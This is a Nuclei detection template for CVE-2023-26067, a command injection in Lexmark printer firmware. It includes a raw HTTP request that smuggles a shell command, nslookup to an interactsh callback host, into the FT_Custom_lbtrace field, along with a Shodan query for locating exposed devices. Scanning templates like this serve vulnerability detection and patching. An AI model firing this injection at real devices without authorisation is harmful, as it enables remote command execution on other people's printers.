52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2023-26067
|
|
|
|
info:
|
|
name: Lexmark Printers - Command Injection
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
|
|
remediation: |
|
|
Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.
|
|
reference:
|
|
- https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/
|
|
- https://github.com/horizon3ai/CVE-2023-26067
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-26067
|
|
- https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf
|
|
- https://support.lexmark.com/alerts/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2023-26067
|
|
cwe-id: CWE-20
|
|
epss-score: 0.02289
|
|
epss-percentile: 0.88453
|
|
cpe: cpe:2.3:o:lexmark:cxtpc_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: lexmark
|
|
product: cxtpc_firmware
|
|
shodan-query: "Server: Lexmark_Web_Server"
|
|
tags: cve,cve2023,printer,iot,lexmark
|
|
variables:
|
|
cmd: 'nslookup {{interactsh-url}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Length: 49
|
|
|
|
FT_Custom_lbtrace=$({{cmd}})
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(interactsh_protocol, 'dns')
|
|
- contains(body, 'Fax Trace Settings')
|
|
- status_code == 200
|
|
condition: and
|
|
# digest: 4b0a00483046022100b0e2ec358cf551e96cbfe07536cc11c105b2622281d673876af0d293913963a3022100bdc0cd0f20934ba54d61d335898dc0d31277865a5b935803ea7c6bec43ed93b2:922c64590222798bb761d5b6d8e72950 |